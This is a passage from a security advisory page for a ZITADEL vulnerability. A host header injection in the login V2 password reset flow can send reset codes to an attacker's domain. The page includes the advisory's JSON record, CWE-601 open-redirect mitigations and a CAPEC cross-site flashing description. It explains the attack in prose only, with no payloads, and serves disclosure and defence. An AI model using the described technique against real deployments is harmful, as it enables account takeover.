- a x-zitadel-instance-host (or x-zitadel-forward-host) is set in your reverse for multi-instance deployments. If you're running a single instance solution, you don't need to take any actions.
Patched versions: - 4.x: Upgrade to >=4.7.1
Workarounds
The recommended solution is to update ZITADEL to a patched version.
A ZITADEL fronting proxy can be configured to delete all forwarded header values or set it to the requested host before sending requests to ZITADEL self-hosted environments.
Questions
If you have any questions or comments about this advisory, please email us at security@zitadel.com
Credits
Thanks to Amit Laish – GE Vernova for finding and reporting the vulnerability.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/zitadel/zitadel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.80.0-v2.20.0.20251208091519-4c879b47334e"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/zitadel/zitadel"
},
"ranges": [
{
"events": [
{
"introduced": "1.83.4"
},
{
"last_affected": "1.87.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/zitadel/zitadel"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-rc.1"
},
{
"fixed": "4.7.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/zitadel/zitadel/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.80.0-v2.20.0.20251208091519-4c879b47334e"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-29067"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-08T22:19:38Z",
"nvd_published_at": "2026-03-07T15:15:54Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA potential vulnerability exists in ZITADEL\u0027s password reset mechanism in login V2. ZITADEL utilizes the Forwarded or X-Forwarded-Host header from incoming requests to construct the URL for the password reset confirmation link. This link, containing a secret code, is then emailed to the user.\n\n### Impact\n\nIf an attacker can manipulate these headers (e.g., via host header injection), they could cause ZITADEL to generate a password reset link pointing to a malicious domain controlled by the attacker. If the user clicks this manipulated link in the email, the secret reset code embedded in the URL can be captured by the attacker. This captured code could then be used to reset the user\u0027s password and gain unauthorized access to their account.\n\nIt\u0027s important to note that this specific attack vector is mitigated for accounts that have Multi-Factor Authentication (MFA) or Passwordless authentication enabled.\n\n### Affected Versions\n\nSystems using the login UI (v2) and running one of the following versions are affected:\n- **v4.x**: `4.0.0-rc.1` through `4.7.0`\n\n### Patches\n\nThe vulnerability has been addressed in the latest release. The patch resolves the issue by correctly validating the X-Forwarded-Host and Forwarded headers against the instance custom and trusted domains.\n\nBefore you upgrade, ensure that:\n- the `ZITADEL_API_URL` is set and is pointing to your instance, resp. system in multi-instance deployments.\n- the HTTP `host` (or a `x-forwarded-host`) is passed in your reverse proxy to the login UI.\n- a `x-zitadel-instance-host` (or `x-zitadel-forward-host`) is set in your reverse for multi-instance deployments. If you\u0027re running a single instance solution, you don\u0027t need to take any actions.\n\nPatched versions:\n- 4.x: Upgrade to \u003e=[4.7.1](https://github.com/zitadel/zitadel/releases/tag/v4.7.1)\n\n### Workarounds\n\nThe recommended solution is to update ZITADEL to a patched version.\n\nA ZITADEL fronting proxy can be configured to delete all forwarded header values or set it to the requested host before sending requests to ZITADEL self-hosted environments.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThanks to Amit Laish \u2013 GE Vernova for finding and reporting the vulnerability.",
"id": "GHSA-pfrf-9r5f-73f5",
"modified": "2026-03-09T15:47:05Z",
"published": "2025-12-08T22:19:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/zitadel/zitadel/security/advisories/GHSA-pfrf-9r5f-73f5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29067"
},
{
"type": "WEB",
"url": "https://github.com/zitadel/zitadel/commit/4c879b47334e01d4fcab921ac1b44eda39acdb96"
},
{
"type": "PACKAGE",
"url": "https://github.com/zitadel/zitadel"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "ZITADEL Vulnerable to Account Takeover Due to Improper Instance Validation in V2 Login"
}
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Use a list of approved URLs or domains to be used for redirection.
Mitigation
Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.
Mitigation MIT-21.2
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
Mitigation
Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [REF-483]. Be sure that the nonce is not predictable (CWE-330).
Mitigation MIT-6
Strategy: Attack Surface Reduction
- Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
CAPEC-178: Cross-Site Flashing
An attacker is able to trick the victim into executing a Flash document that passes commands or calls to a Flash player browser plugin, allowing the attacker to exploit native Flash functionality in the client browser. This attack pattern occurs where an attacker can provide a crafted link to a Flash document (SWF file) which, when followed, will cause additional malicious instructions to be executed. The attacker does not need to serve or control the Flash document. The attack takes advantage of the fact that Flash files can reference external URLs. If variables that serve as URLs that the Flash application references can be controlled through parameters, then by creating a link that includes values for those parameters, an attacker can cause arbitrary content to be referenced and possibly executed by the targeted Flash application.